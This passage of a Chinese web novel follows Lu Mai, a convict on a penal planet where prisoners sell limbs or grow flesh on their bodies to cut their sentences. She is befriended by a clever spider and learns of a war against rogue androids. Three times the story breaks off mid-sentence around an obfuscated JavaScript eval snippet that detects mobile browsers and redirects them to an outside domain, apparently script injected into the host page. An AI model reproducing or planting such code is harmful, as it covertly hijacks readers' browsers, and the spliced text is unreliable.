她现在最想知道的是那些半机械人和仿生肢体还有畸形人究竟是怎么回事。 本以为那只是这个世界科技水平的一种表现,但事情似乎没有那么简单。 翻了半天,终于在减刑栏目的资源交换版块发现了一些端倪。真想不到这居然是能出现在人类社会中的文字组合。 在该版块中,设有各种可以用于交换减刑年数的选项,其中包括: 上肢、下肢、躯干、头部。 每个选项还有若干次级选项,譬如上肢可选左右,可选手指、手掌、手臂,既可以整体选择,也可以具体到某一根手指。 每个选项对应一个浮动的年限区间,例如一整只手掌可以减刑八百至一千年,附带手掌的一整条手臂可以减刑三万年。 最有价值的选项是头部中的大脑,半脑可以减刑五十万年。 如果捐掉整颗大脑的话,一百万年的刑期可以直接归零。 不过连大脑都没有了,人还能称之为人吗? 路麦想到刚才遭遇的只剩下半个脑袋的机械人,感到一阵眩晕。 为了获得五十万年的减刑,那个人“捐献”了一半的大脑。 不到万不得已,谁会愿意活生生地舍弃身体的一部分,甚至是最重要的大脑呢? 那个人……一定有非常迫切想要离开这里的理由。 在决定捐出身体部位后,N21的管理员会安排手术,并免费为服刑者安装机械肢体。 由此可以判断,活着的肢体和器官比那些看起来成本高昂的仿生义肢有价值得多。 只是不知道这个世界为什么会有这种需求,而且看起来还不小。 除了捐献身体部位之外,减刑板块中还有一个不起眼的选项:肉盆。 路麦顶着反胃的直觉点进去看了一眼。 花盆是种花的盆,顾名思义,肉盆是种肉的盆。 肩上多长了一条手臂的畸形人其实不是天生的畸形人,而是肉盆志愿者。 将自己的身体作为栽培容器,种植肉芽,以此获得额外减刑。 那些仿生肢体之所以会有那么逼真的触感,就是因为原材料是活着的血、肉、皮。 养成一颗合格的肉芽至少要花一年时间,可以交换一万至三万年刑期。 肉芽会在一定程度上影响宿主的营养摄取和脏器健康,但因为无需花费时间精力,而且和捐献肢体相比,副作用微乎其微,可以看作一项成本低廉的兼职。 和一截不属于自己的肢体生活恐怕需要相当的勇气,但想到可以在正常参加劳动获得减刑的同时,每年顺便得到一至三万年的额外减刑,难怪有不少人会参与这种项目。 路麦盯着肉盆的说明看了半天。在界面上方晃来晃去的手指刚一降下高度,就按在了一个毛茸茸的东西上面。 蜘蛛不知道什么时候跳到了终端的面板上,用身体顶着她的手指。 8. 电子宠物 以蜘蛛的力气和人类抗衡无异于以卵击石,但路麦飞快地移开了手指——其中包含了一部分她因为惧怕蜘蛛而做出的下意识反应。 蜘蛛就这么霸占着终端屏幕,并高举两条前肢,仿佛在表达抗议。 路麦不确定这只蜘蛛具有多少智能,按她一贯的认知,蜘蛛应该不具备与人类沟通的潜质,但考虑到它今天救了她一命,出于以防万一,她还是问了一句:“你在劝我不要当肉盆?” 蜘蛛放下前肢,又抬起,又放下,如此重复几次。 路麦认为它可能是在点头。 确切地说,点腿。 路麦说:“你放心,虽然这原本不是我的身体,不过现在既然成了我的,我肯定会好好爱惜的。” 蜘蛛愣了一下。 至少在路麦看来这只蜘蛛确实是愣了一下,以至于她觉得那八只眼睛所投射出来的眼神都变得迷茫起来。 大概是因为这只蜘蛛有那么点通人性,但又没那么懂人话吧。 “不过有没有什么低成本的快速减刑法呢?我可不想当一辈子劳改犯。”路麦有些惆怅地说道,“有机会的话,我还想看看能不能回到原来的世界。” 过了一会儿,又叹了口气:“恐怕是回不去了吧……我肯定是‘死’在了手术台上,都过了这么久,搞不好已经被火化了。” 蜘蛛静静地看着她。 路麦和蜘蛛大眼瞪小眼。她很高兴地发现自己似乎已经克服了对蜘蛛的恐惧,以至于能够容忍一只蜘蛛就这么呆在她的手上。 她还记得五六岁那年被父母带去乡下过正月,睡觉的时候发现床沿上趴着一只蚕豆大的绿色蜘蛛,于是在深夜发出惊天动地的呐喊,引得远近十里地的乡亲们前来围观。 最后那只蜘蛛被一位叔叔用草纸包着丢掉了。 现在回想起来那一切仍然历历在目,那只绿色的大蜘蛛仍隔着漫长的时光让她感到不寒而栗。 好吧,看来她的恐惧克服是有具体对象的。 第三天早上,路麦在刷牙的时候,发现洗面台下面有一个水凼,里面长了一团不知是青苔还是绿藻的东西,仔细看,还能在里面找到不停扭动的小虫。那些小虫的头顶上有两粒代表眼睛的红点。 “我知道你们是什么东西——那种红眼蚊子的幼虫。” 她看着里面一团团成虫羽化时留下的蜕,不带一丝怜悯地用纸巾把水凼吸干,又清除了里面那团黏腻的棕绿色物体。 今天的工作还是拧那些该死的螺丝。 路麦确实在终端将她唤醒的第一时间就开始挑选工作了,但是在思索各项工作性价比的时候,那些不假思索的人早就抢走了最有价值的工作。 看来不管胖子是否提前警醒过她,她都不得不经历一段学习如何抢到好工作的时间。 工厂还是昨天的那座工厂,不过待加工的部件倒是换了一种。履带上传送过来的零件体积更大,单个零件需要五个工位同时进行操作。 那仍是一条机械臂。不是仿生的那种,而是完全用钢筋铁骨塑造出来的真正的机械臂。估计是供应给其他星球上一些重工业工厂的。 路麦的位置主要负责肢端的14颗螺丝,步骤比昨天更加复杂。还没到午休时间,她就已经两眼昏花、大汗淋漓。 本日工作第六个工时,路麦拧了两千多颗螺丝,两眼偶尔出现无法对焦的情况。她想让眼睛休息一会儿,但只要合上眼皮子超过三秒,终端就会用电击强迫她继续劳动。 又一条机械臂被传送过来。 路麦调整了一下螺丝刀的角度,开始新一轮重复操作。 快要完成的时候,有什么东西从她头顶上掉了下来,接着,她和大小不一的四双眼睛发生了猝不及防的对视。 她因为长考而被中断认定为消极怠工,并遭到意料之中的电击,这才缓缓回了魂。 “你怎么来了?”她问。 蜘蛛不语,跳到机械臂的掌心,距离螺丝刀尖端三公分远的地方,伸出前腿,在空中划了个圈,接着又触了触掌面,看着像是跺脚。 终端再次使用电击来催促犯人继续工作。 蜘蛛依然趴在机械臂的掌心,并用那对最大的主眼观察着路麦。 在看到路麦第三次因为电击而剧烈抽搐的时候,它终于大失所望地离开了。 它从机械臂的指缝间跳了出去,很快就不见了踪影。 路麦强打精神,装作若无其事地继续开工。这时她发现刚才拧进掌根的螺丝用错了种类。 因为三种螺丝中的两种有着相同的螺杆和螺纹,仅有头部的形状不同,所以即使搞错了,也能拧进螺孔里,但会导致零件表面略微不平整。 她不小心将其中一种用成了另一种。 螺丝厂的工作虽然简单,但对正确性的要求很高。工作出现错误会在劳动结束后按件数延长刑期。 单个零件的操作时间有具体规定,一到规定时间,零件就会被履带送走,未完成的部分将被计算为工作失误。只要做错一件,这一整天就相当于白干了。 她立刻给机械手掌重新换上正确的螺丝。 托蜘蛛的福,虽然被多电了几下,但好歹免没有白白受罪。 她开始因为拥有这样的一只蜘蛛而感到得意了。 等等,她能算得上是拥有它吗? 又一天的工作结束了。 路麦目前的减刑系数是初始值1,在零件厂的拧螺丝流水线工作的基础减刑是100年/日,除此之外,她没有进行过其他能够加减刑期的活动,因此在工作两日后总共减刑200年。和总刑期比起来完全是九牛一毛。 按照这个速度,她要在这地方呆上2 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544254|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 7年才能刑满释放。她不无自嘲地想,出狱时她都差不多可以退休了。如果这27年间退休年龄一再后调的话,出去之后倒是还能再干几年。 不过这个社会关于退休的规定具体是怎样就不得而知了。 沿着导航路线回宿舍的时候,路麦中途碰上了胖子,对方主动同她打了个招呼。两人同路,正好结伴而行。经历过昨天的事,她今天可没有到处乱逛的心情。 胖子问:“今天过得怎么样,选了什么工作?”路麦说:“螺丝。”胖子说:“哦,那可真够无聊的。不过这里的工作都很无聊,谁也没比谁好。” 到了宿舍门口,胖子朝屋顶上打了一个响指,灰扑扑的山羊脑袋便从屋顶上探了出来。 那真的是一只相当可爱的小山羊,有着一对细小的、微微向外弯曲的角,泛着粉色的唇部,尽管沾了灰尘但仍显得十分柔软的皮毛。 咩—— 它发出了山羊的标志性的叫声。 胖子灵活地踮起脚尖,伸手摸了摸琪琪的蹄子,琪琪立刻凑到屋顶的边缘,方便饲主将它抱下来。 从外表来看,这只山羊绝对和真正的活物没什么区别。 而它的动作、表情,那种亲昵娇柔的态度,似乎比活的山羊更让人欣慰。 此刻,它正用自己毛茸茸的脑袋在饲主的肚子上蹭来蹭去,而它的饲主显然很吃这一套。 路麦问:“你把琪琪养在屋顶上?” 胖子笑:“你认为我的房间在容纳了我的身体之后,还能挤得下一只山羊吗?” 路麦说:“挤得下。” 胖子说:“不是绝对体积的问题,人类和山羊都需要各自的生活空间。” 路麦说:“可琪琪是一只电子山羊。” 她的意思是,非生物不用单独计算生活空间。 胖子不说话了。路麦意识到自己可能说了失礼的话——万一胖子真的把琪琪当成了活着的伴侣宠物,但如果是这样,他就不会把琪琪丢在屋顶上了。 “宠物模块对刚进来的新人是不开放的,不过再过几天你就应该能在终端上看到,到那时你就可以去管理局申请饲养许可,然后攒钱买一只电子兽。”胖子巧妙地转移了话题。 “我想参加今年的嘉年华。”路麦说。 胖子转过头看了她一眼:“这基本上没可能。我可是攒了一年的积分才买到琪琪的。” 路麦继续说:“我算过了,如果能考出几个资格证,去参加那些高薪工作的话,五个月左右就能买一只最便宜的电子兽。” 胖子摇头,腾出一只手,比划起了数字:“第一,高薪工作要求的资格证可不是那么好考的,第二,便宜宠物在嘉年华上获奖的可能性很低,还不如多等等,一步到位买一只哺乳类。” 说着,他把琪琪递了出来,示意路麦抱抱它。 9. 仿生人 还不等路麦动手,琪琪就轻盈地跃入了她的怀中。它温驯地呆在路麦的怀里,眯着眼睛享受着抚摸。 电子兽的体温无法和活着的哺乳动物相比,但并不是冰冷的。这让它甚至比那位半机械人更像一个活物。 “手感很好吧?”胖子说,“那些爬行类和两栖类的电子兽没法给饲主带来这种情绪价值。你可不要因为贪便宜而浪费钱,这是过来人的忠告。” 路麦听到忠告这个词,身上那几斤反骨就又开始发作。“我有点累了。”她把琪琪还给胖子,然后闪进了自己的那间独房。 坐在书桌前,摊开一本空白笔记,打开终端,记录工作列表中的高薪选项以及其所需要的前置条件。 狩猎,900年/日,需要虫族学者和猎人执照,按狩猎成果结算积分。 虫巢清洁,800年/日,需要虫族学者的执照,按清洁面积结算积分。 绯红晶矿开采,700年/日,需要矿物鉴定师和地质工程师执照,按开采量结算积分。 垃圾回收,600年/日,需要材料鉴定师和机械维修师执照,按有效回收量结算积分。 …… 接着是各项资格或执照考试的报名要求,比如需要其他前置资格证,或是需要“被增加”刑期作为报名费,又或者是对报名者的身高体重年龄性别等的筛选。 综合对比之后,路麦决定把虫族学者执照作为第一个目标。一是因为该执照关联的工作报酬很高,二是因为该执照的适用范围广,很多工作和资格考试都将其作为前置条件之一。 决定好目标之后,她通过终端载入了相应的备考资料,一套体量令人咋舌的教材,从序言开始就充斥着各种闻所未闻的名词。不过这种程度的困难完全在她的意料之中,毕竟“虫族”指的又不是地球上无处不在的那些无脊椎动物,而是一种完全陌生的宇宙生物。 这使她在阅读此类教材时犹如在读一部科幻小说设定集,处处充满新奇,这种宛如对大千世界的一切都抱以好奇的孩童心态是学习的一大动力。 “亲爱的,该睡了。”神秘发信人准时送来提示。 这次路麦没有发挥叛逆精神,乖乖地洗澡睡觉去了。 深夜,路麦正睡得迷迷糊糊,忽然又感到脖子上刺痒难耐的,于是伸手摸了一下。未知物体从她锁骨处弹了起来。因为重量很轻,感觉微乎其微,但指尖还是传来一闪而过的触感。 她顿时清醒过来,僵在床上,摆着一个别扭的姿势,不敢轻举妄动。 接着是后颈处感到一阵轻微发痒,酥麻感从后脑勺蹿到头顶。就好像有一只微型的吸血鬼正在觊觎她的脖子,伺机而动,寻找最容易下口的部位。 没有嗡鸣声,不是蚊子。 路麦很快就猜到罪魁祸首是那只蜘蛛。它似乎总喜欢呆在她身上,而她也姑且容许了这一点,但它现在的行为显然有点逾矩了——它不能在她毫无防备的时候盘踞在她的要害部位。 路麦梗着脖子,小心翼翼地咽着唾沫,生怕惊扰了那只八足生物,但还是在感受到它突然开始移动的瞬间,不可抑制地发出细微的悲鸣。 蜘蛛停止了爬行。 接着,脖子上那种奇怪的感觉消失了。 蜘蛛离开了她的身体。 路麦仍保持着僵直。她以为自己会整个晚上睡不着觉。 但莫名的,这晚睡得很好。 梦境中的沙滩风和日丽。 她盘坐在松软干燥的沙子上,阳光美男坐在她身后,像个霸总似的将她整个人圈在怀里,又像条奶狗似的用下巴蹭她的颈窝。她觉得有点痒,于是转了个身去阻止,结果两个人顺势在沙滩上翻滚打闹起来。实在是暧昧得不行。 如果不是闹铃响了,她怀疑她能在那沙滩上滚到天荒地老。 她是有肌肤饥渴症还是怎么的? 最后,路麦决定将此梦境的诱因归结于抚摸琪琪之后留下的余韵,以及半夜被蜘蛛骚扰颈部所导致的后遗症。 * 新的一天,路麦侥幸抢到了缝纫的工作。虽然也是只能减刑100年的低薪工作,但是工作环境比零件厂好不少,而且好歹能学到新技能——缝纫机的使用方法。 八小时的流水线工作不值得赘述,蜘蛛没有在她差点犯错的时候出现,她怀疑这是因为蜘蛛不懂缝纫。蜘蛛总是因为擅长织网而被带上了有妖性的织女的印象。不过出现在她身边的这只蜘蛛并不结网,应该是跳蛛一类。 回宿舍的路上,路麦又尝试对空气嘟囔了一声:“你在吗?” 没有反应。 她补充了一句:“我是说小蜘蛛,你在吗?” 毕竟她不是没有对空气说话的前科——那时是在尝试和神秘发信人对话,大概蜘蛛认为她刚才也是,证据就是她一经补充,蜘蛛就顺着她的左臂爬到了她的左手手背上。 小时候,她曾经羡慕电视剧里的郭大侠有一对随叫随到的大雕,也羡慕过同社区的小朋友有一条随叫随到的小狗,现在,轮到她自己有一只随叫随到的召唤兽了,而且那还是一只蜘蛛。 虽然在体型上没那么拉风,但这可是一只蜘蛛。有谁见过如此通人性的蜘蛛? 路麦将左手举到面前,蜘蛛就乖乖地趴在她的手背上,一动不动,像在等待她的发号施令。 她突然想起在宠物博览会上看到的节肢类展区,那些只有一拳头大小的展示格里确实有蜘蛛这一物种,尽管那是一只电子兽。 不过那到底是电子兽还是改造兽还是原始兽都不重要,有那样一只节肢动物出现在那个地方,就说明蜘蛛是一种可以被合法登记为宠物的物种。 如果她能将这只蜘蛛登记为自己的宠物,就能赶上下一届嘉年华,也就有机会赢取那二十万年的减刑大奖了。二十万年! 这个想法让路麦兴奋不已。 在下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544255|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个路口,她又碰上了胖子。这看起来很巧,但实际算不上什么巧合。大家都是同时下班,又是左右邻居,回家路上会碰到也是正常不过。 胖子兴致勃勃地向路麦表达感谢,原因是系统捕捉到路麦对琪琪的好感,这种正面情绪给胖子带去了好处。 “宠物如果获得了其他服刑者的好感,其饲主的减刑系数就会提升。因为这证明饲主的人格正在向善良正义的方向发展。”胖子解释道。 路麦对“捕捉好感度”这种说法感到惊讶,她意识到在这个地方,服刑者的情绪也受到监控,这种认知让她觉得神秘发信人的存在都不那么别扭了。 “我想了解一下饲养原始兽的事。”路麦趁机问道。她不知道自己的终端什么时候才会开放宠物模块,至少到今天,她获取宠物相关情报的途径只有在博览会上载入的手册,以及胖子的口述。 胖子的表情突然严肃起来:“女士,你要知道,电子兽的优势不仅在于便宜,更重要的是方便。作为一个过来人,我不会推荐电子兽以外的选择。” 路麦说:“呃,我就是想随便打听一下。” 胖子开始细数原始兽的种种弊端:“它们会生病,还会死亡,治疗会产生大额开销,而死亡则会带来严重的惩罚。” 路麦咯噔了一下:“严重的惩罚?” 胖子说:“刑期增加几十万年之类的。其实电子兽死亡的话也会有这样的惩罚,只不过我还从来没听说过谁把电子兽给养死了的。话说回来,你昨天说想考证来着,有看过考哪个吗?” 路麦再次对他转换话题的速度感到叹服。“虫族学者,感觉挺有趣的。” 胖子耸了耸肩:“你还真是个怪人。那个可不好考。我劝你从简单的开始,比如维修师,我就打算试试这个。” 路麦问:“你也打算考证了?” 胖子像是被戳穿了一样,尴尬地咳嗽几声:“我也是时候努力一把了,绝对不是在学你。我之前的专业就和机械维修有关,稍微复习一下应该就能考过。” 路麦说:“挺好的,有个人一块用功,更容易坚持下去。”她想到“高薪职业”中的垃圾回收就要用到机械维修的执照,于是又问:“维修师主要修理什么?是家用电器那一类的,还是说工业机器?” 她认为在这里,垃圾回收的价值或许正式源自于这类设备。 胖子答:“机械修理的对象主要是战斗型机甲。机甲的话,你去了这么多次螺丝厂,应该已经见到过一部分零件了。” 路麦想起了在螺丝厂见到过的那些巨型部件,终于有了一点实感。“那些装备是为了和什么东西战斗而制造出来的?” 胖子叹了口气:“还能是什么,当然是那些仿生人。” 路麦迷茫地看着他:“仿生人?” 胖子惊讶:“你不知道仿生人?” 路麦显得有点心虚:“我过去生活在很封闭的地方……” 10. 魔王 面对路麦的搪塞,胖子哦了一声,没有深究,可能是见怪不怪了。 他简单地介绍了一下仿生人的事。“它们本质上不过是一种机器人。原来的机器人都是用金属材料做的,不过随着生物有机材料的发展,它们里里外外都被升级得更接近真人了,其中也包括大脑。” 路麦说:“哦,我明白了,就是机器人发展出了自主意识,想要反抗把它们创造出来的人类?”这早就是科幻小说都懒得写的老套题材了。 胖子说:“差不多就是这么回事。古时候的人都相信计算机不可能产生意识,但他们连自己的意识是如何产生的都还没有研究透彻,居然就能对此妄下定论……” 路麦说:“听你的意思,计算机真的发展出了意识?” 胖子说:“上个世纪的研究团队将有机材料和纳米机器人结合到一起,制作出了一种超出他们控制的仿生大脑。然而,即使事态超出了控制,科学家们依然不舍得就此销毁他们的科研成果。于是,仿生大脑的神经网络以远超人脑进化的速度自行增殖和发展,没过几年就超过了真正的人脑。” “不可思议……”路麦对“仿生人”的印象还停留在“仿生”的阶段,而事实上,它们的发展程度远超想象。 胖子说:“事情还没结束。最初的那颗仿生大脑利用了它的创造者的‘爱子心切’,诱使研究团队为其制作了近乎完美的躯体,接着,它就像终于获得了实体的神灵意志一样,开始在研究室中肆意妄为,并接连生产了数台不逊于自己的仿生人。接下去就是那几台初始仿生人的指数增长过程了,就像细胞分裂一样。” 路麦问:“但它们为什么想要与人类作对?” 胖子沉默良久,才说:“人类畏惧它们,想要消灭它们。而它们想要活下去,就要消灭想要消灭它们的人类。” 本世纪初,曾发生过仿生人集团控制某星球航空局,向太空发射了数台航空和空间设备。 等人类发现真相的时候,它们已经在另一颗无人星上建立起了自己的基地,并掌握了和人类不相上下,甚至于超过人类科技水平的的空间及空间战斗技术。其中就包括具备跃迁能力的机甲装备。 “目前我们的机甲还只能通过相位差空间门进行空间跳跃,但仿生人的技术已经能让战术机甲自行进行空间转移了,这就使它们的战斗灵活性比人类方面强出不少。”胖子解释道,“所以我们目前的攻防一体机其实还是着重在防御,我们根本没法主动出击。” 路麦忍不住吐槽:“听起来它们似乎在各方面都比人类更优秀,人类至今还没被仿生人灭种简直可以算是奇迹了。” 胖子说:“繁殖能力是它们的最大缺陷。它们一直在试图克服。” 路麦疑惑:“不是说它们有过指数级的增长速度吗?” 胖子说:“它们可以增殖得很快,但达到某个数量级后,就无法再创生新的仿生人口,就算制造出来,也大概率是个在健康方面有严重缺陷的残次品。它们目前还无法对人类形成数量优势,所以削减人类的数量也是它们的重点研究方向,手段之一就是战争。” 在说话间,两人已经走到了OA7片区。 胖子又开始话题漂移:“七点半有学习会,别忘了。” 学习会的消息是管理局通过终端向所有服刑者推送的,和早上五点至六点那段时间的广播一起。参加没有好处,但缺席是要受罚的。 路麦点点头:“嗯,记着呢。” 胖子说:“七点出发,我们可以一起去会场。” 路麦继续点头:“之前还有两个多钟头可以用来学习。我会隔着墙壁监督你的。” 回到宿舍,路麦收到信息:“亲爱的,你要养宠物的话,可以去RB3片区的池塘看看。” “池塘?”路麦自言自语,“对哦,鱼类也是合法的宠物。” 她已经习惯了这如同跟踪狂一样的神秘发信人的存在,至少不会感到恐怖了。有人爱监视她就监视她呗,反正也没对她造成实质性的伤害,她索性就把对方当成了赛博宠物。 “谢谢,不过不需要。”她继续“自言自语”。 不一会儿,赛博宠物发来一个委屈的表情。 坐到书桌前,从昨天中断的地方开始学习。今天的学习计划包括虫族的分类和社会结构两个知识点。整理好知识框架,时间刚好是七点,隔壁传来开门的动静,路麦也赶紧起身出门。 O片区的学习会集合场所是位于该区域中心的正义广场。住在该区域的左邻右舍都在往同一个方向移动,导致道路有些拥挤。 路麦时不时会被肉盆志愿者身上已经成熟的肉芽进行一番掌掴,不过她已经适应了这种事,没有表现出大惊小怪的样子,更何况另一边还有胖子替她挡着。 抵达广场时,那里已经聚集了一大群人,几乎将整座广场挤得水泄不通。 广场中央有一座塔楼形状的建筑物,其顶端架设着一台环形屏幕,目前处于蓝屏状态。 路麦好不容易找到了一个能站得住的位置,努力地在密集的人群中争取呼吸所需的空气,一边等待学习会的开始。 过了大约有一刻钟的样子,天色比刚才暗了很多,环形屏幕闪动了一下,画面中出现了新闻演播室一般的场景,靠左的位置坐着一名容貌端庄但缺乏生气的主播。 方才还有些许骚动的广场顿时鸦雀无声。 一道电流声响起,主播的嘴唇动了起来,经过调整的声线从塔楼顶端的音响中放射出来,主播右侧的电子屏中出现了活动的画面。 “本月24日,人类安全委员会成功发现并剿灭一股仿生人集团势力,该势力曾以姑射星为据点,冒充职业猎头,开展欺诈、诱拐、绑架和替代活动,据统计,截至该势力被捕,共有3021名真人类成为受害者……” 电子屏的画面被放大,完全代替了演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544256|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 播室的画面。 屏幕中,被安全委员会捕获的仿生人双手被反拷着,一字排开,站在一个长方形的高台上。 而高台对面是一排排阶梯状的席位,一眼看去,座无虚席。 在镜头给到这些席位上衣冠整齐的大人物时,镜头外传来砰的声音,如果没有听错的话,应该是枪毙的声音。 结合女主播的画外音,可以知道,目前正在对被捕的仿生人执行死刑。 而正在观刑的那些人,是管理着各星球事务的中央管理局的议员。 路麦仰着脑袋看了半天,觉得脖子酸得要命。这具新的身体比她原本的身体要高挑不少,但丢进人群一看,还是像一根营养不良的豆芽,非但没法获得开阔的视野,而且还不得不嗅着那些滞留在沉闷空气中的各色各样的汗馊味。 屏幕中正播放着议员们的特写镜头,在画面扫过某一人时,路麦瞬间睁大了眼睛。 在最前方的议员席位中,她看到了一张熟悉的脸。 上次看到那个人的时候,他还穿着一身白大褂,现在则是一身黑色西装,打着一条绀色领带,人模人样地坐在那里,眼球上映照着仿生人被处以死刑的画面,并和周围的其他议员们一样,有规律地拍着手,对眼前罪有应得的杀戮表示赞许。 “唐古拉斯……”她喃喃道。 头发被轻轻扯了一下,细小的肢体在发丝间行走,一股酥麻感从头顶传至全身。 心跳这才渐渐恢复正常。 路麦喘了一口大气,小声嘟囔了一句:“我没事。” 再看向屏幕,画面已经切回了演播室,主播开始播报下一条新闻。 “本月26日,在比邻星杰塔组建反人类势力的仿生人集结军队,通过战术机甲,对提铁星开展无差别袭击……” 七点半的时候,天还有些微亮,而等到新闻学习会结束的时候,天已经彻底黑了。 流放星的基础设施并不完备,人行公路上,相隔很远才有一盏路灯,路麦几乎是摸着黑行走。返程的人流依然熙熙攘攘,无数个肉芽从她后脑勺拂过。偶尔有几句路人之间的闲聊钻进她的耳朵。 “魔王到底去哪里了?那种仿生人军队,对他来说不过小意思吧?只要他出手,唰唰唰地就能摆平。” “有传言说他已经死了。” “死了?” “因为成了政斗的牺牲品,所以不好公布。” “大敌当前,那些大老爷们怎么还在窝里斗个不停?老家都快被一群机器人给端了,他们居然把唯一能打的给弄死了!” “我是无所谓,反正这辈子没指望了,都毁灭吧。” “也有人说他因为过量的战斗负荷发了疯,现在已经是个废人了,不过你知道,这种消息容易影响军心,所以被按了下来。” “真被按下来就不会有那种传言了。” 路麦立刻向胖子求教:“魔王是谁?” 11. 新邻居 胖子不再对路麦的缺乏常识感到疑惑,很快像百科全书一样介绍起来:“那曾经是我们人类阵营对抗仿生人军队的头号尖兵,因为战斗力过于突出,在军事爱好者之间就有了魔王的尊称,后来随着战争常态化,他的影响力越来越大,这个称号也就传开来,正式成了他的代号。” 路麦问:“他的本名呢?” 胖子说:“不知道。军队不会公开那些信息。” 路麦又问:“现在人类和仿生人之间的势力平衡怎么样?” 胖子说:“我猜仿生人更占优势。你也知道,他们比人类优秀,全方位的。除了增殖能力——不过这也不是绝对的。他们很聪明,能反过来利用人类,这在一定程度上弥补了繁殖速度的缺陷。” 路麦吃惊:“你是说有人类归顺了仿生人?!” 胖子说:“也许有吧,不过我说的不是那种情况。你不知道,仿生人曾经一度拿下了媒体渠道,他们精心策划了很多流言,为的就是兵不血刃地消灭人类。” 路麦意识到了什么:“让我来猜猜看,半机械人是不是就是流言横行后的一种产物?” 胖子有些意外:“看不出来,你还挺敏锐的。没错,半机械人就是他们构建的一个巨大的骗局——机械永生是个有效的诱饵,钓了不少人上钩,尤其是有钱有势的人,他们最不希望自己享有的权势随着死亡烟消云散。” 路麦说:“通过将身体改造成机械来获得永生,听起来合情合理。” 胖子说:“所以不少人深信不疑。更何况仿生人最不缺的就是耐心,他们花了三十年的时间来铺垫这个骗局,让它显得严丝合缝。不过你在这里看到的半机械人可不是那么回事。”路麦说:“愿闻其详。” 胖子环视了一下四周,确定没有半机械人在附近,才压低了声音说道:“骗局都是在被识破之后才被冠名为骗局的。人类已经意识到半机械化的后果。” 路麦问:“机械永生失败了?” 胖子说:“我不清楚详情,但代价肯定比他们预料的大得多,那些已经半机械人化的老钱无法承担那种代价,自然是费尽心思要重新变成活人——这倒不是什么难事,只要出足够多的钱。” 路麦大致明白是怎么回事了。 胖子继续说道:“他们付钱给N21,N21卖给他们需要的零件。对服刑者来说,就像一种变相的保释金,用贩卖身体赚来的保释金。” 路麦说:“这样不好。” 胖子一拍肚皮,说:“当然不好了!他们根本没把我们这些人的命当命。” 路麦摇头:“我是说仿生人的增殖策略成功了。” 仿生人成功地将人类大面积地分化为了两种:保留肉身的人,半机械化的人。 而后者之中,不是为了机械永生而甘愿放弃人性的权势者,就是为了获得自由而被迫变成劣质机械的人——这两种人都极有可能投向仿生人,成为人类的敌人。 一是为了欲望,一是因为憎恨。 路麦想起被半机械人压倒在地、差点被活活撕碎的经历,那半机械人硕果仅存的一只生体肉眼里,有的不仅是对她鲜活肢体的渴望,还有病态的嫉妒与憎恨。 胖子神情一滞,讪讪道:“如果魔王还在就好了。” 路麦说:“把全人类的希望都寄托在一个不知死活的人身上,人类不一败涂地才怪。” 胖子说:“也是……哎,让我们这些凡夫俗子继续负隅顽抗吧。” 路麦又问:“重新攻占舆论高地应该不是一件简单的事,当时的人们是怎么做到的?仿生人既然已经一度控制了传媒,怎么可能允许反对他们的声音出现?” 胖子说:“是一些地下组织。他们用最古老的方式——就像我们现在这样,口耳相传。在有了一些小范围的群众基础之后,又开办了纸质的刊物——那些东西是仿生人的数据库追踪不到的,他们自然控制不了。” 路麦点了点头:“你看,其实有很多人都在为与仿生人对抗而努力。” 胖子笑了一下:“你说的没错,哪怕魔王真的像传闻那样疯了或是死了,人类的希望也依然没有熄灭。没看出来,你这家伙还挺有骨气的。” 回到住处,刚好是接近门禁的时间,路麦冲了个澡,复习了一下出门前学的东西就准备睡觉。 蜘蛛在书桌上爬来爬去,似乎有些不安。 于是路麦放下笔记本,用手指逗了逗它。“肚子饿了?” 她不知道此类蜘蛛的习性,也不知道这段时间蜘蛛有没有吃过红眼蚊子之外的食物,只不过饥饿是她能够想到的让动物不开心的第一要因。 蜘蛛爬上她的手指,稍微安定了一些。 “我给你起个名字吧?”路麦说。 蜘蛛点了点腿。 “跟我姓,姓路,叫路西法。”路麦说,“这是一位大魔王的名字。” 不可否认,她是从刚才有关魔王的话题中得到了灵感。 蜘蛛不置可否,但路麦觉得它看起来有些发愣。一定是因为得到名字太高兴了。 “那就这么决定了,大魔王。”路麦说。 这一晚的梦境里,阳光美男似乎没那么阳光,神情有些忧郁,仿佛一日之间就从快乐大金毛变成了淋雨小狗。 路麦觉得对着这样的他没法像昨天夜里那样肆无忌惮地上下其手,于是在他身边坐下,静静地看着他,然后突然发现他脸上的忧郁有半分来自他微微下垂的眼角。 快乐的时候,这样的下垂眼会让人显得很有亲和力;低落的时候,则会让人显得深邃而飘渺。 等一等,下垂的眼角? 路麦摸了一下自己的眼睛,想要确认形状。 